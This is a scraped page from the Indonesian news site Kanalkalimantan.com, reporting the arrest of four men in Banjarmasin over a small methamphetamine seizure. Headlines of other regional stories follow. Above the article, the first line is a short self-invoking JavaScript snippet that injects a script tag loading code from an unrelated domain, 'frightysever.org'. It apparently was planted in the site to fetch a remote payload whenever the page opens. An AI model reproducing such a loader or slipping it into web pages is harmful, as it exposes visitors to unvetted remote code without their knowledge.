(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kriminal Banjarmasin

Polisi Gagalkan Pesta Sabu di Kelayan B, Empat Lelaki Diringkus


KANALKALIMANTAN.COM, BANJARMASIN – Unit Reskrim Polsek Banjarmasin Selatan berhasil mengungkap kasus peredaran narkotika golongan 1 jenis sabu.

Kasus ini melibatkan dua tersangka yang berasal dari Kabupaten Banjar. Tersangka pertama adalah FP (26) warga Martapura dan MSR (33) seorang pengangguran warga Kertak Hanyar.

Keduanya ditangkap pada Selasa (23/1/2024) lalu di sebuah rumah Jalan Kelayan B Gang Gembira, Kelurahan Kelayan Tengah, Kecamatan Banjarmasin Selatan, Kota Banjarmasin.

Kapolsek Banjarmasin Selatan, Agus Sugianto melalui Kanit Reskrim Iptu Sudirno mengatakan, barang bukti yang berhasil disita meliputi satu paket kecil sabu dengan berat bersih sekitar 0,02 gram, sebuah bong dari bekas kemasan air mineral, dan sebuah korek api gas.

Baca juga: Wakar di Banjarmasin Ditangkap Simpan Sabu Satu Paket

Kronologis kejadian, pada pukul 20.00 Wita Anggota Buser Polsek Banjarmasin Selatan melakukan penggeledahan rumah yang berada di kawasan permukiman padat penduduk tersebut.

Pada saat itu kedua tersangka berada di rumah dan hendak menyedot sabu.

“Kedua pelaku sudah menyiapkan peralatan untuk mengkonsumsi sabu,” ujarnya.

Belum sempat pesta berlanjut, polisi langsung menyergap keduanya dan melakukan penggeledahan hingga ditemukan barang bukti satu paket sabu dikantong celana MSR.

Masih kata Iptu Sudirno setelah dilakukan pengembangan, polisi kemudian menangkap dua lelaki lain yang turut terlibat dalam penyalahgunaan narkoba tersebut.

Baca juga: Gugatan Setengah Triliun Almas Disebut Denny Indrayana Modus Pembungkaman Berpendapat

Mereka adalah FR alias Betet (45) warga Kelayan B selaku pemilik rumah dan MY alias Memet warga Alalak Kecamatan Banjarmasin Utara.

“Betet selaku pemilik rumah menyediakan tempat kepada MSR dan FP yang hendak menghisap sabu di rumahnya,” kata Kanit Reskrim.

Tersangka Betet kata polisi ditangkap di depan rumahnya Jalan Kelayan B Gang Gembira Kecamatan Banjarmasin Selatan pada Jumat (2/2/2024) sekitar pukul 23.00 Wita.

“Betet saat itu berada di depan rumahnya sedang berdiri dan memberikan sesuatu kepada tersangka MS alias Memet,” ujarnya.

Setelah diperiksa, ternyata barang yang diberikan Betet kepada Memet merupakan satu paket sabu.

Baca juga: Bandara Dhoho Kediri Resmi Dibuka, Warga Berwisata Dadakan

Saat ini, keempat tersangka dan barang bukti sudah diamankan di Mapolsek Banjarmasin Selatan untuk proses umum lebih lanjut. (Kanalkalimantan.com/rizki)

Reporter: rizki
Editor: bie


Risa

Recent Posts

Satgas Distribusi Material ke Lokasi TMMD Desa Sungai Karias

KANALKALIMANTAN.COM, AMUNTAI - Pelaksaanan program TNI Manunggal Membangun Desa (TMMD) ke-120 Kodim 1001/HSU-BLG di Desa… Read More

2 jam ago

Yakin ‘Pemilik’ 13 Kursi Golkar, Acil Odah Lamar Nasdem Koalisi di Pilgub Kalsel

KANALKALIMANTAN.COM, BANJARBARU - Hj Raudatul Jannah atau Acil Odah siap ramaikan kontestasi Pemilihan Kepala Daerah… Read More

4 jam ago

Musrenbang RPJPD 2025-2045, Bahas Rencana Program HSU 20 Tahun ke Depan

KANALKALIMANTAN.COM, AMUNTAI - Pemerintah Kabupaten Hulu Sungai Utara melaksanakan Musyawarah Perencanaan Pembangunan (Musrenbang) Rencana Pembangunan… Read More

5 jam ago

Sekda Banjar Wakili Bupati di Rapat Paripurna Bahas Raperda Tentang Penanaman Modal

KANALKALIMANTAN.COM, MARTAPURA - Rapat Paripurna beragendakan Jawaban Bupati atas Pemandangan Umum Fraksi-fraksi DPRD terhadap Rancangan… Read More

7 jam ago

Antisipasi Bencana, Ini Pesan Gubenur Kalsel

KANALKALIMANTAN.COM, BANJARBARU - Memperingati Hari Kesiapsiagaan Bencana dan antisipasi bencana di Kalimantan Selatan, Badan Penanggulangan… Read More

7 jam ago

Siap Tarung di Pilkada Kapuas, Mantan Wagub Kalteng Habib Ismail Lamar Nasdem

KANALKALIMANTAN.COM, KUALA KAPUAS - Mantan Wakil Gubernur Kalimantan Tengah Habib Ismail bin Yahya secara resmi… Read More

8 jam ago

This website uses cookies.